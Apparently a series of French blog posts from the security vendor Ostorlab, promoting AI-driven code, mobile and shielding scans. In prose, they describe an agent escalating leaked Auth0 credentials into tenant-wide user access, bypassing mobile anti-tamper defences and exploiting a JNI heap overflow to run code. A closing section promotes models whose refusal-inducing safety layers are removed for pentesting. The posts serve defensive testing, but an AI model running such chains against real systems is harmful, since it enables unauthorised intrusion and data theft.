Sélectionnez Code Repository comme type d'actif, choisissez le dépôt que vous souhaitez scanner, puis indiquez la branche, le commit ou le tag. Une fois le scan lancé, Ostorlab analyse le code sélectionné et signale les vulnérabilités de sécurité trouvées.

Sélectionnez le dépôt de code comme type d'actif.

3. Examinez les résultats :

Lorsque le scan est terminé, Ostorlab présente les résultats dans un rapport clair et exploitable. Examinez chaque vulnérabilité, comprenez son impact et accédez directement au code concerné pour commencer la remédiation.

Examinez les résultats du scan de code source.

Pourquoi Source Code Scanning est important

Les problèmes de sécurité sont plus faciles et moins coûteux à corriger avant d'atteindre la production. En scannant votre code source tôt, vous pouvez identifier les vulnérabilités pendant le développement, réduire le temps de remédiation et empêcher que des problèmes ne se retrouvent dans les versions livrées.

Avec Source Code Scanning dans Ostorlab, vous pouvez :

Détecter les problèmes plus tôt. Trouvez les vulnérabilités avant qu'elles ne deviennent des incidents en production ou qu'elles soient découvertes lors d'un test d'intrusion.
Travailler depuis une seule plateforme. Examinez les résultats sur le code source aux côtés de vos autres résultats de sécurité Ostorlab, sans changer d'outil.
Scanner quand vous en avez besoin. Analysez n'importe quelle branche, n'importe quel commit ou tag à la demande, que vous examiniez une pull request, validiez une version ou étudiiez une modification.
Prioriser la remédiation. Chaque résultat inclut le contexte dont vous avez besoin pour comprendre le problème et commencer à le corriger rapidement.

Essayez Source Code Scanning dès aujourd'hui

Connectez votre dépôt et commencez à identifier les vulnérabilités de votre code source avant qu'elles n'atteignent la production.

Essayez Source Code Scanning dès aujourd'hui !

Améliorations de Deep Scan : exécution plus rapide, meilleures décisions et tests incrémentaux

2026-06-30T19:00:00+02:00

La plupart des scans de sécurité repartent de zéro à chaque version. L'application est scannée à nouveau. Les mêmes chemins sont explorés à nouveau. Le même comportement est redécouvert à nouveau. Pourtant, l'application n'a changé qu'à quelques endroits. Une dépendance a été mise à jour. Un nouveau SDK a été ajouté. Un parcours de connexion a changé. Une fonctionnalité a été reconstruite. L'application a avancé, mais le scan est revenu au premier jour.

Cette version apporte plusieurs améliorations majeures à Deep Agentic Scan.

L'exécution sur mobile est désormais plus rapide grâce à des améliorations de la mise à l'échelle et de la gestion des appareils. Les capacités de rétro-ingénierie ont été renforcées pour donner à l'agent une compréhension plus fine du comportement de l'application avant le début des tests.

La détection des vulnérabilités a été améliorée grâce à une meilleure planification et de meilleurs outils, tandis que le traitement des scans précédents permet désormais une couverture incrémentale d'une évaluation à l'autre, au lieu de traiter chaque scan comme un nouveau départ.

Cette version introduit aussi un meilleur chaînage des vulnérabilités pour une priorisation des risques plus solide, ainsi que les Cyber Models managés par Ostorlab pour les tests mobiles et web.

Des scans mobiles plus rapides

Les tests mobiles approfondis demandent plus que le simple téléversement d'un APK ou d'un IPA.

Les applications doivent être installées, lancées, sollicitées, surveillées et testées pendant leur exécution sur de vrais appareils. L'infrastructure derrière ces appareils détermine la rapidité de démarrage des tests et leur capacité à passer à l'échelle.

Nous avons amélioré l'infrastructure de mise à l'échelle et de gestion des appareils derrière Deep Agentic Scan.

Cela réduit la charge de préparation, améliore l'orchestration des appareils et permet aux tests mobiles approfondis de s'exécuter plus vite et de façon plus régulière d'un cycle de release à l'autre.

Les tests approfondis deviennent plus faciles à exécuter régulièrement, au lieu d'être réservés à des évaluations occasionnelles.

Durée du scan

Capacités de rétro-ingénierie améliorées

Un scan ne peut pas prendre de bonnes décisions s'il ne comprend pas d'abord l'application.

Avant de décider quoi tester, un agent doit comprendre comment l'application est construite, où se trouvent les fonctionnalités et quels composants méritent de l'attention.

Nous avons amélioré l'infrastructure de rétro-ingénierie utilisée par Deep Agentic Scan, afin d'améliorer la façon dont l'agent explore les binaires, identifie les chemins de code pertinents et analyse le comportement de l'application.

Dans l'exemple ci-dessous, l'agent commence par rechercher dans l'application les fonctionnalités liées aux deep links, aux WebViews, aux navigateurs et à la gestion des URL.

La rétro-ingénierie découvre les fonctionnalités pertinentes de l'application

Le scan a identifié des centaines de fonctions et de points d'entrée candidats correspondant à ces comportements, ce qui fournit une première cartographie des fonctionnalités potentiellement intéressantes.

L'agent a ensuite sélectionné des fonctions précises pour une analyse plus poussée et les a décompilées automatiquement afin de comprendre les détails de leur implémentation.

Décompilation et analyse automatisées des fonctions

Cela permet à Deep Agentic Scan d'aller au-delà de la simple recherche de motifs et de mieux comprendre comment les composants de l'application interagissent avant de décider quoi tester ensuite.

Une meilleure compréhension conduit à de meilleures décisions de test.

Une planification et des outils renforcés pour la détection des vulnérabilités

Trouver des vulnérabilités ne consiste pas simplement à exécuter davantage de tests.

La difficulté est de décider quels signaux méritent une investigation, quels outils utiliser ensuite et quels chemins d'attaque valent la peine d'être suivis.

Nous avons amélioré les capacités de planification et les outils derrière Deep Agentic Scan.

Cela permet à l'agent de prendre de meilleures décisions pendant les tests, de consacrer plus de temps aux comportements suspects et de pousser plus loin les chemins d'attaque prometteurs avant de décider si une vulnérabilité est réelle.

L'objectif n'est pas d'avoir plus de vulnérabilités.

L'objectif est d'avoir plus de vulnérabilités qui comptent.

L'agent génère un plan de validation guidé par l'exploitation avant de choisir les outils et d'exécuter les tests

Traitement des scans précédents pour une couverture incrémentale

Les applications changent à chaque version, mais la plupart des scans se comportent comme s'ils n'avaient jamais vu l'application.

Les vulnérabilités précédentes, les fonctionnalités explorées, les chemins d'attaque validés et les comportements connus sont écartés après chaque scan.

Nous avons amélioré le traitement des scans précédents pour permettre à Deep Agentic Scan d'utiliser les informations recueillies lors des évaluations antérieures.

Au lieu de redécouvrir ce qui est déjà connu, les scans futurs peuvent consacrer plus de temps à tester les nouvelles fonctionnalités, les comportements modifiés et les zones qui méritent une attention supplémentaire.

Les scans répétés deviennent cumulatifs au lieu d'être répétitifs.

Heatmap pour Agentic Deep Scan

Meilleur chaînage des vulnérabilités et priorisation des risques

Les équipes sécurité manquent rarement de vulnérabilités. Ce qui leur manque, c'est du contexte.

Un identifiant codé en dur, une API exposée et un jeton trop permissif peuvent apparaître comme des problèmes distincts dans un rapport, alors qu'un attaquant les traiterait comme un seul chemin d'attaque.

Deep Agentic Scan améliore désormais le chaînage des vulnérabilités et la priorisation des risques en validant les vulnérabilités, en suivant automatiquement les rebonds et en mesurant l'impact du chemin d'attaque obtenu, plutôt qu'en s'arrêtant à la découverte initiale.

L'exemple ci-dessous a commencé par la découverte d'identifiants Auth0 M2M codés en dur dans une application iOS.

Identifiants de service codés en dur découverts dans une application mobile

Le scan a d'abord validé que les identifiants étaient actifs et capables d'émettre des JWT de production pour un service interne, au lieu de les signaler comme une exposition de secret non vérifiée.

L'analyse approfondie du JWT émis a révélé les scopes disponibles, les informations d'audience, l'infrastructure de signature et d'autres cibles susceptibles d'accepter le jeton.

L'analyse du jeton révèle d'autres chemins d'attaque

Ce contexte supplémentaire a permis au scan d'aller au-delà de la découverte d'identifiants et de continuer à explorer jusqu'où ces identifiants pouvaient mener.

Le scan a ensuite identifié que les mêmes identifiants pouvaient s'authentifier auprès de l'audience Auth0 Management API et a validé automatiquement les accès et les permissions obtenus.

La validation des identifiants mène à un accès à la Management API

Ce qui ressemblait au départ à un identifiant de service interne s'était transformé en accès à l'infrastructure d'identité avec des capacités d'administration.

Enfin, le scan a validé l'impact métier en réalisant une énumération non destructive des utilisateurs sur le tenant et en démontrant l'accès à des informations sensibles sur les utilisateurs et à des scopes d'administration.

La chaîne d'attaque aboutit à l'exposition des données utilisateurs de tout le tenant

Ce qui a commencé comme un problème d'identifiant codé en dur de sévérité élevée est devenu une vulnérabilité critique, avec un accès démontré aux données des utilisateurs de tout le tenant.

C'est la différence entre davantage de vulnérabilités et de meilleures vulnérabilités.

L'objectif n'est pas de produire des rapports plus volumineux. L'objectif est d'identifier le petit nombre de problèmes qui peuvent devenir des incidents de sécurité et de les placer en tête de la file.

Cyber Models managés

Deep Agentic Scan inclut désormais des Cyber Models managés par Ostorlab pour les évaluations mobiles et web.

Les équipes peuvent exécuter immédiatement des modèles reposant sur OpenAI, sans gérer elles-mêmes les clés d'API, l'infrastructure des modèles ou les intégrations.

Bring your own key ou Cyber Models

Ces modèles renforcent la capacité de l'agent à comprendre le comportement de l'application, à choisir des stratégies de test, à examiner des signaux suspects et à valider des vulnérabilités potentielles pendant un scan.

En savoir plus sur les Cyber Models d'Ostorlab

Validation transparente des attaques

Les équipes sécurité ne devraient pas avoir à faire confiance à une boîte noire.

Deep Agentic Scan donne de la visibilité sur les chemins d'attaque, les décisions et les étapes de validation réalisés pendant les tests.

Les équipes peuvent voir ce qui a été testé, ce qui a été validé et comment une vulnérabilité a été atteinte.

Validation des vulnérabilités

Profondeur de test flexible

Toutes les évaluations n'exigent pas le même niveau de profondeur.

Les équipes peuvent choisir des durées de test allant d'évaluations ciblées d'une semaine à des missions comparables à un test d'intrusion de huit semaines, selon leurs objectifs et leurs délais.

Configuration de l'effort de scan avec les Cyber Models

Ces améliorations aident Deep Agentic Scan à passer moins de temps à redécouvrir des comportements connus et plus de temps à valider les risques qui comptent.

En savoir plus sur : Web Deep Agentic Deep Scan et Mobile Deep Agentic Scan.

Présentation du mobile shielding capable de résister aux attaques par IA

2026-06-25T16:00:00+02:00

Imaginez la première heure qui suit votre prochaine version mobile. Le build est passé, les contrôles de shielding semblent actifs, l'anti-falsification est activé, la détection du root est présente et le SSL pinning est configuré. Du point de vue de l'entreprise, l'application semble protégée. Du point de vue d'un tiers, elle vient de devenir un fichier qu'il peut télécharger, décompresser, inspecter, modifier, instrumenter, reconditionner et exécuter à nouveau.

C'est ce que les équipes de sécurité mobile ne peuvent pas se permettre d'oublier. Un inconnu n'a besoin ni de votre code source ni de votre infrastructure pour tester vos défenses. Il lui suffit de l'application que vous avez déjà livrée. Une fois le binaire dans son laboratoire, la question n'est plus seulement de savoir si une protection existe. La question est de savoir si la protection peut être contournée sans que l'application cesse de fonctionner normalement.

La vérité qui dérange, c'est que de nombreuses défaillances de sécurité mobile ne commencent pas par l'absence de défenses. Elles commencent par des défenses qui existent, qui semblent actives et auxquelles l'organisation fait confiance, mais qui n'ont pas été remises en question en continu après la publication.

Les scanners de vulnérabilités traditionnels excellent dans l'analyse statique du code, mais les risques des applications mobiles modernes apparaissent souvent à l'exécution. Pour combler cet écart, Ostorlab présente Mobile Shielding Scan. Cette solution de test automatisée et pilotée par l'IA est spécialisée dans la détection du shielding : elle évalue dans quelle mesure une application mobile se défend et si ces défenses résistent réellement à des attaques réelles.

Le scan opère directement au niveau du binaire pour répondre à deux questions essentielles pour chaque protection d'une application :

1. La protection est-elle réellement présente ? (détection du shielding)
2. Résiste-t-elle réellement à une attaque ? (validation du shielding)

Il transforme « nous pensons que notre application est protégée » en « nous l'avons testée, et voici la preuve ».

Pourquoi valider les mécanismes de shielding ?

Le test de sécurité mobile passe de la conformité par cases à cocher à la validation en conditions réelles. Cela change le paradigme. Le plus difficile n'est plus seulement d'injecter des fonctions de sécurité ; le plus difficile est d'exécuter une détection continue du shielding pour prouver qu'elles fonctionnent face à une exploitation active.
Les équipes sécurité doivent savoir si leurs défenses d'exécution peuvent être retirées, si leur application est aveugle aux appareils jailbreakés et si les investissements dans un shielding commercial offrent une protection réelle.

S'en remettre aux promesses des éditeurs donne un faux sentiment de sécurité. Une erreur de configuration mineure ou un changement subtil dans la chaîne de compilation peut neutraliser complètement une couche de shielding sans générer la moindre erreur lors de l'assemblage. Pour de nombreuses organisations, découvrir une défense défaillante après une compromission en production est un cauchemar opérationnel de plus dans un programme de sécurité qui a déjà assez d'incendies à éteindre.

Mobile Shielding Scan supprime cet angle mort. Ostorlab gère la couche d'exploitation automatisée, tandis que les équipes sécurité obtiennent une visibilité immédiate sur la détection du shielding, l'exposition aux faiblesses et la correspondance avec les standards, directement depuis le Portal.

Exigences réglementaires et de conformité

Vérifier l'autodéfense des applications mobiles n'est plus seulement une bonne pratique structurelle. Les cadres réglementaires mondiaux en font une obligation stricte pour les secteurs fortement réglementés. S'appuyer sur des configurations non vérifiées expose les organisations à des sanctions pour non-conformité :

DORA de l'UE (Digital Operational Resilience Act) : ce cadre exige que les entités financières identifient les risques liés aux TIC, s'en protègent, les détectent, y répondent et s'en remettent. Il s'applique aux banques et aux autres entreprises financières opérant dans l'Union européenne.
Lignes directrices MAS TRM (Singapour) : la Monetary Authority of Singapore exige explicitement des contrôles stricts pour les applications mobiles. Il s'agit notamment de l'anti-falsification, de l'anti-hooking, de l'obfuscation du code, des contrôles d'intégrité, du certificate pinning et de la liaison à l'appareil, couramment mis en œuvre au moyen d'outils RASP (Runtime Application Self-Protection) ou de shielding d'applications.
Recommandations PCI Mobile/Payment et PCI DSS 4.0 : les normes actualisées du secteur des cartes de paiement poussent les organisations à empêcher activement la falsification, la rétro-ingénierie, les attaques à l'exécution et les modifications non autorisées dans les applications de paiement. La validation RASP est un moyen courant de répondre à ces exigences réglementaires rigoureuses.

Principaux avantages

Détection automatisée du shielding : analyse l'application pour vérifier que les fonctions de sécurité sont réellement présentes.
Analyse d'exploitation automatisée : remplace les listes de contrôle théoriques par des simulations d'attaque actives à l'exécution, visant à briser ces défenses.
Évaluation sur appareils réels : déploie et exécute les binaires sur de véritables appareils physiques pour observer le comportement réel à l'exécution.
Validation continue à chaque version : automatise un processus qui nécessitait auparavant l'intervention manuelle de spécialistes, et permet de vérifier le shielding à chaque version.
Audit du shielding commercial : valide que les éditeurs tiers de solutions de shielding commerciales fournissent bien la protection pour laquelle vous avez payé.
Correspondance avec les standards : aligne directement les résultats des tests sur les standards mondiaux reconnus de sécurité mobile.

Matrice de détection du shielding : protections couvertes et contournement par IA

Lors de la configuration d'un Mobile Shielding Scan, le système exécute la détection du shielding sur les plateformes Android et iOS avant de déployer un analyste IA qui tente activement des contournements.

Type de shielding détecté	Fonction	Méthode de contournement par IA
Anti-falsification / intégrité	Détecte la modification du code, le reconditionnement ou la re-signature.	Modifie la structure du binaire ; surveille si l'application bloque l'exécution ou se termine silencieusement.
Détection du root et du jailbreak	Identifie les environnements compromis qui exposent les données locales de l'application.	Simule des environnements privilégiés ; teste si l'application refuse de s'exécuter sur des couches d'OS compromises.
Anti-instrumentation / anti-débogage	Résiste aux hooks en direct conçus pour extraire des secrets ou altérer l'exécution.	Injecte des débogueurs et des hooks en direct ; l'IA adapte la logique d'exécution pour déjouer les routines de détection actives.
Anti-clonage / source d'installation	Vérifie l'origine de l'installation ; bloque la distribution non autorisée.	Installe des paquets en dehors des stores officiels ; évalue les défenses contre le sideloading.
Obfuscation du code et des données	Évalue la visibilité de la logique applicative et des secrets embarqués.	Analyse les binaires compilés ; détermine si le code opérationnel est exposé ou correctement dissimulé.
Protection réseau (SSL pinning)	Refuse les connexions réseau interceptées ou frauduleuses.	Orchestre des attaques de l'homme du milieu ; vérifie si l'application rejette les chaînes de certificats invalides.

Si votre équipe veut de l'analyse statique, les scanners standards sont là. Si elle veut une détection approfondie du shielding pour voir si les défenses de votre application résistent à un adversaire actif et adaptatif, Mobile Shielding Scan est la voie la plus fluide.

Comment fonctionne le moteur de détection et de contournement du shielding piloté par l'IA

Détecter qu'une protection existe est facile ; prouver si elle peut être contournée est la partie difficile et précieuse. Mobile Shielding Scan inclut une capacité d'exploitation pilotée par l'IA qui va au-delà de la lecture du code statique.
Le cycle de test à l'exécution se déroule en trois phases distinctes :

1. Déploiement de l'environnement

Le scan met en place un environnement d'exécution propre et contrôlé sur du matériel mobile réel. Le binaire de l'application est installé, initialisé et surveillé afin d'établir une référence pour les performances, la cartographie mémoire et le comportement des appels réseau.

2. Boucles adaptatives de détection et d'exploitation du shielding

Un analyste IA interagit avec l'application et observe sa réaction à chaque étape. Plutôt que d'exécuter un script statique, l'IA observe l'écran en direct et interprète les avertissements, les plantages et les refus. Si une défense anti-débogage bloque un hook standard, l'IA interprète cette réponse et adapte dynamiquement son approche, en reproduisant le jugement et la persévérance d'un attaquant humain expérimenté.

3. Vérification concrète

Lorsqu'une protection peut être brisée, le scan démontre qu'elle l'a été et fournit une preuve explicite du contournement. Si la défense tient, sa solidité est validée, ce qui donne aux équipes l'assurance que leurs couches de shielding fonctionnent efficacement sous pression.

Livrables de sécurité exploitables

Les résultats d'un Mobile Shielding Scan sont fournis sous des formats clairs et exploitables dans l'Ostorlab Portal :

Indicateurs de solidité : des indicateurs clairs qui distinguent les défenses robustes des vulnérabilités faibles et facilement contournées.
Preuve de contournement : des éléments concrets là où les défenses ont échoué, qui lèvent toute ambiguïté opérationnelle sur le risque.
Confirmation de solidité : la validation des défenses efficaces, qui confirme que les investissements de sécurité sont fonctionnels.
Correspondance avec les standards : les résultats sont alignés directement sur les référentiels reconnus de sécurité mobile.

Cette décomposition structurelle supprime les approximations de l'ingénierie mobile et donne aux développeurs les informations précises nécessaires à la remédiation.

Comment lancer un Mobile Shielding Scan

Pour lancer une validation automatisée des défenses de votre application, suivez le guide pas à pas ci-dessous :

Étape 1 : connecter les actifs et sélectionner le profil de scan

1. Sélectionnez Scanning -> New Scan.
2. Sélectionnez la source de l'actif cible : recherchez et sélectionnez l'application directement depuis le PlayStore / AppStore, ou importez votre binaire précompilé (APK/AAB/IPA), ou sélectionnez TestFlight.
3. Dans les options de profil de scan, sélectionnez Mobile Shielding Scan. Cela configure le moteur pour exécuter des tests de durcissement statiques et dynamiques spécialisés.

4. Cliquez sur Continue.

Étape 2 : configurer le fournisseur d'IA et le niveau d'effort

Mobile Shielding Scan est un scan agentique, piloté par l'IA, qui peut s'exécuter avec les Cybermodels d'Ostorlab ou avec votre propre clé d'API via Bring Your Own Key (BYOK).

1. Sélectionnez le fournisseur d'IA que vous souhaitez utiliser pour le scan.

2. Si vous choisissez Cybermodels (Token-based), choisissez parmi trois niveaux d'effort prédéfinis selon la complexité et la taille de votre application :

Core (200 tokens) : vérification rapide de référence des indicateurs de durcissement standards.
Advanced (500 tokens) : exploration approfondie de la résilience du binaire avec une couverture d'exécution modérée.
Elite (1000 tokens) : évaluation exhaustive et fortement parallélisée, qui simule un effort de rétro-ingénierie vaste et coordonné.

Si vous choisissez Bring Your Own Key (BYOK), sélectionnez dans votre profil une clé de fournisseur d'IA préconfigurée pour exécuter le scan.

3. Cliquez sur Continue.

Étape 3 : ajouter des prompts et des identifiants de test (facultatif)

1. Ajoutez ou sélectionnez des Prompts d'automatisation de l'interface personnalisés pour orienter l'interaction de l'agent.

2. Si votre application nécessite une authentification, sélectionnez ou créez des Test Credentials afin que l'agent puisse contourner les écrans de connexion et tester les contrôles de shielding dans les états post-authentification.
3. Cliquez sur Submit pour mettre en file d'attente et lancer votre scan.

Étape 4 : consulter les résultats du scan

Une fois l'évaluation terminée, le tableau de bord affiche une vue d'ensemble complète de la posture défensive de votre binaire :

Security Hardening Score : un score de couverture global (de 0 % à 100 %) qui indique l'efficacité des protections du binaire.
Vector Analysis : des notes de réussite/échec précises et des statistiques de couverture détaillées pour l'obfuscation, l'anti-falsification et l'anti-débogage.
Validated Shielding Features : un registre détaillé des contrôles vérifiés avec succès, notamment le chiffrement des chaînes, la protection du code, la détection du jailbreak et la vérification d'intégrité.

Une profondeur maîtrisée pour les applications critiques

Mobile Shielding Scan est conçu pour les équipes qui ont besoin d'une vérification de sécurité plus approfondie sans perdre en rapidité opérationnelle. L'objectif n'est pas une automatisation chaotique ; l'objectif est une profondeur maîtrisée : un raisonnement plus poussé, une exécution encadrée et une preuve claire de sécurité.
Les équipes sécurité peuvent s'appuyer sur ce scan pour :

Trouver les maillons faibles des défenses mobiles en couches avant les attaquants.
Valider les applications de services financiers, de banque numérique et de paiement face à la rétro-ingénierie.
Empêcher que les applications de santé qui manipulent des données patients sensibles s'exécutent sur des appareils compromis.
Durcir les applications de jeux et de médias contre le vol de propriété intellectuelle, la falsification du code et le clonage.
Garantir la conformité aux exigences de déploiement mobile en entreprise fortement réglementé.

Il donne aux équipes de développement la profondeur automatisée qu'elles souhaitent, à la direction la validation dont elle a besoin, et moins de raisons de deviner si une application est sécurisée avant son arrivée sur le store : une rare victoire à la fois pour la sécurité et pour la tranquillité d'esprit.

Déployez votre premier Mobile Shielding Scan

La capacité Mobile Shielding Scan est désormais disponible dans l'Ostorlab Portal. Ne laissez pas vos défenses d'exécution au hasard ni à de simples suppositions. Lancez un nouveau mobile shielding scan.

L'application n'a jamais été ouverte

2026-06-25T09:02:00+02:00

Pourquoi les agentic harnesses deviennent indispensables pour de vrais tests de sécurité mobile

Donnez une application mobile à un modèle de langage et demandez-lui d'en tester la sécurité.

La réponse peut sembler familière : stockage non sécurisé, cryptographie faible, secrets exposés, permissions excessives, SDK vulnérables, failles côté backend, défauts d'authentification, risques pour la vie privée.

Elle peut être structurée comme un rapport. Elle peut citer les bonnes catégories. Elle peut ressembler à un document qu'une équipe sécurité pourrait faire circuler.

Pourtant, l'application n'a toujours pas été ouverte.

Aucun paquet n'a été inspecté. Aucune permission n'a été confrontée au comportement à l'exécution. Aucun trafic de SDK n'a été observé. Aucun emplacement de stockage n'a été examiné. Aucun appel backend n'a été suivi. Aucun état de crash n'a été capturé. Aucune preuve n'a changé de mains.

Le rapport existait. La cible, elle, n'avait pas changé d'état.

Un moteur de raisonnement sans mains

La plupart des discussions sur l'IA en sécurité commencent encore par le modèle : lequel est le plus intelligent, lequel raisonne le mieux, lequel a la fenêtre de contexte la plus longue, lequel obtient les meilleurs résultats aux benchmarks.

Dans un vrai workflow de sécurité, le modèle n'est qu'un élément du système.

Un modèle brut peut comprendre des instructions, formuler des hypothèses, décrire des chemins d'attaque et décider de la suite. Mais tester une cible exige d'entrer en contact avec elle. Il faut décompresser l'application. Il faut examiner les permissions. Il faut identifier les SDK. Il faut inspecter le stockage. Il faut observer le trafic. Il faut tester les flux d'authentification. Il faut suivre les appels backend. Il faut écarter les pistes bruyantes. Les vulnérabilités qui subsistent doivent s'appuyer sur quelque chose de plus solide qu'un paragraphe.

Autour du modèle se trouvent les outils, le contexte, les prompts, les skills, la mémoire, les boucles d'exécution et les retours d'information qui rendent ces étapes possibles.

Quand le modèle peut toucher l'application

Un modèle lit « stockage de données sensibles » et peut décrire ce qu'il faut vérifier : préférences partagées, bases de données locales, fichiers de cache, usage du keychain, chiffrement, journaux. Les mots sont justes. L'application reste une boîte noire.

Dans un workflow doté d'un harness, l'application est décompressée. Les emplacements de stockage sont inspectés. Les fichiers de configuration sont ouverts. Le comportement à l'exécution est observé. Une valeur apparaît ou non sur le disque. Une inquiétude se nourrit de preuves ou s'estompe.

Il en va de même pour les SDK.

Un modèle peut avertir que des SDK tiers risquent d'exposer des données personnelles. L'avertissement est assez familier pour paraître utile. Mais le SDK n'a pas été identifié. Ses destinations réseau n'ont pas été observées. Ses permissions n'ont pas été comparées au trafic réel. Aucun payload n'a été inspecté.

La question change alors. Elle n'est plus « cela pourrait-il être risqué ? ». Elle devient : qu'est-ce qui est présent, qu'est-ce qui s'exécute, qu'est-ce qui sort de l'application, et quelle preuve y est associée ?

Anthropic a montré le même schéma dans le travail d'agents de longue durée : le modèle ne s'est pas amélioré de façon isolée. Le workflow autour de lui a lui aussi changé : prompts, outils, gestion du contexte, boucles de retour d'information. Les écrits d'OpenAI sur le harness engineering pointent vers le même type de travail autour des agents : critères d'acceptation, validation, outils manquants, garde-fous, documentation.

Ces exemples concernent l'ingénierie logicielle. En sécurité mobile, le même schéma apparaît autour de l'artefact, du runtime, de la sortie des outils et du prochain test que le modèle est capable de lancer.

Une réponse soignée peut tout de même laisser l'application intacte.

Une boîte à outils n'est pas un harness

Il existe une version paresseuse de la sécurité agentique : donner au modèle un tas d'outils et appeler cela un agent.

Trop de sorties brutes entrent dans le contexte. Trop d'outils sont disponibles trop tôt. Les résultats des scanners arrivent sans interprétation suffisante. Des signaux faibles deviennent des vulnérabilités affirmées avec assurance. Une chaîne suspecte devient un secret. Une permission devient une atteinte à la vie privée. Un endpoint inhabituel devient une faille backend exploitable.

Un harness utile est plus discret. Il décide de ce que le modèle voit en premier, des outils qui appartiennent à l'étape suivante, de ce qu'il faut retenir et du niveau de preuve exigé avant qu'un élément devienne une vulnérabilité.

En sécurité mobile, presque tous les signaux ont besoin de ce contexte. Une permission n'est pas automatiquement un problème de vie privée. Un SDK tiers n'est pas automatiquement malveillant. Une valeur stockée n'est pas automatiquement sensible. Une requête suspecte n'est pas automatiquement exploitable.

Une permission n'est pas une vulnérabilité

Prenons l'accès à la localisation.

Un modèle peut expliquer pourquoi l'accès à la localisation peut créer un risque pour la vie privée. C'est un contexte utile. Ce n'est pas une vulnérabilité.

Il faut vérifier la permission à l'exécution. Il faut identifier les SDK. Il faut observer le trafic. Il faut examiner les domaines de destination. Il faut inspecter les payloads. Il faut comparer la finalité déclarée de l'application avec ce qu'elle envoie réellement.

C'est seulement alors que la question devient utile.

Quand la localisation est-elle collectée ? Quel composant la collecte ? Où va-t-elle ? Est-elle envoyée avec des identifiants ? Est-elle liée à un SDK d'analytique, à un SDK publicitaire, à un endpoint backend ou à une fonctionnalité que l'utilisateur a réellement déclenchée ?

De l'extérieur, l'application ressemblait à une seule chose. Une fois inspectée, elle se révèle faite de couches : code, permissions, SDK, stockage, trafic, appels backend et comportement de la plateforme.

La catégorie était visible dès le départ. La vulnérabilité n'apparaît que lorsque les preuves circulent.

GEF rend le harness concret

Le même schéma se voit plus facilement dans l'exploitation native.

Un LLM généraliste peut décrire les étapes : rétro-ingénierie de la bibliothèque native, inspection de l'arithmétique non sécurisée, construction d'un déclencheur de crash, examen des registres, affinage d'une primitive. La méthodologie peut être correcte alors que la cible reste intacte.

Dans un cas Android JNI, le modèle était connecté à GEF, un outil d'exploitation construit autour de GDB.

L'agent a fait la rétro-ingénierie de la bibliothèque native et a trouvé une troncature d'entier de 64 bits vers 32 bits dans un calcul de taille d'image. La valeur tronquée contrôlait la taille de l'allocation sur le tas. La valeur d'origine sur 64 bits contrôlait la longueur de la copie.

L'allocation était plus petite que la copie.

Une entrée a été forgée. Le crash a été reproduit. Un pointeur de fonction indirect a été écrasé par un marqueur reconnaissable sur 64 bits. Le marqueur est apparu dans l'état du crash.

La primitive a été affinée en un appel de fonction native contrôlé, avec un premier argument contrôlé par l'attaquant. L'exécution a été redirigée vers le chargeur de bibliothèques natives d'Android. Une bibliothèque partagée conçue pour l'occasion s'est exécutée dans le processus de l'application.

Les journaux ont montré l'exécution. La routine d'initialisation de la bibliothèque a créé des artefacts de preuve.

Le parcours ne s'est pas arrêté à « dépassement de tas possible ». Il a traversé la cible : calcul, allocation, crash, contrôle, primitive d'appel, chargeur, exécution, preuve.

Le modèle a fourni le raisonnement. GEF a gardé ce raisonnement rattaché au processus en cours d'exécution.

Le travail doit pouvoir être relu

Dès qu'un agent peut agir, une autre question se pose.

Qu'a-t-il inspecté ? Quelle sortie d'outil a modifié la conclusion ? Quelles preuves ont été collectées ? Quelles hypothèses ont été posées ? Où l'investigation s'est-elle arrêtée ?

En sécurité offensive et en tests mobiles, une vulnérabilité n'est utile que si quelqu'un peut comprendre comment le système y est parvenu. Si un agent signale une exposition de données sensibles, le relecteur a besoin du chemin : le comportement de l'application, l'emplacement de stockage ou la requête, le payload, les données concernées et le raisonnement qui relie les preuves à la vulnérabilité.

Si l'agent décide de ne pas signaler un élément, cette décision a elle aussi besoin d'un chemin. Peut-être que la permission était déclarée mais jamais utilisée. Peut-être que le SDK était présent mais inactif. Peut-être que l'endpoint paraissait inhabituel mais n'exposait aucun comportement sensible.

Il en va de même pour l'exploitation. Si l'agent affirme avoir obtenu une exécution de code, le relecteur ne doit pas se retrouver avec une simple phrase indiquant que « l'exploitation a réussi ». La chaîne de preuves doit être visible, du calcul vulnérable jusqu'à la preuve à l'exécution.

Sans cette visibilité, le résultat devient difficile à défendre. Il peut être correct, mais l'équipe n'a aucune piste à suivre. Il peut être erroné, tout en arrivant avec assez d'aisance pour paraître convaincant.

Un harness consigne ce qui s'est passé : permissions, limites des outils, points d'approbation, journaux de preuves, étapes reproductibles et conditions d'arrêt.

L'agent enquête. L'équipe doit toujours pouvoir voir l'enquête.

D'un texte en forme de rapport à des tests défendables

Le modèle ne se contente plus de lister ce qu'il faudrait vérifier. Il travaille à partir de preuves issues de l'application, de sorties d'outils, du comportement à l'exécution, du trafic, de signaux sur les dépendances, de traces d'exploitation et d'étapes reproductibles. Le résultat d'une étape modifie la suivante.

Le résultat change aussi de forme. Au lieu d'une checklist plus propre, on obtient un parcours à travers la cible. Au lieu d'un paragraphe plausible, on obtient des artefacts qu'un relecteur peut inspecter. Au lieu de « cela peut être risqué », on obtient une chaîne qui peut être contestée.

Une équipe sécurité peut ouvrir l'artefact. Suivre la trace. Rejouer les étapes. Inspecter la preuve à l'exécution.

Pas un modèle qui parle comme un pentesteur.

Une trace capable de résister à un pentesteur.

Présentation d'Ostorlab Cyber Models

2026-06-23T16:00:00+02:00

Les scanners de sécurité traditionnels excellent dans la détection de motifs, mais les vulnérabilités modernes émergent souvent au travers de chaînes en plusieurs étapes qui exigent un contexte plus riche. Pour y répondre, Ostorlab présente Cyber Models : une infrastructure de calcul IA gérée et prépayée, qui intègre un raisonnement avancé directement dans les Agentic Deep Scans.

Opérant via des canaux approuvés avec un statut de sécurité offensive autorisé (whitelisted), Cyber Models permet à vos agents d'évaluer des vulnérabilités, de générer des chaînes d'exploitation et de simuler des chemins d'attaque à pleine capacité. Il supprime les couches d'alignement de sécurité des offres grand public, qui conduisent les modèles standard à refuser des tâches de test d'intrusion légitimes. Mieux encore, il élimine la charge opérationnelle liée à la création de comptes chez des fournisseurs externes, à la gestion de clés d'API ou aux mauvaises surprises de facturation d'infrastructure qui déclenchent des messages Slack urgents de la finance. Les équipes de sécurité n'ont qu'à définir la cible, choisir la profondeur du scan et laisser Ostorlab orchestrer l'infrastructure.

Pourquoi Cyber Models

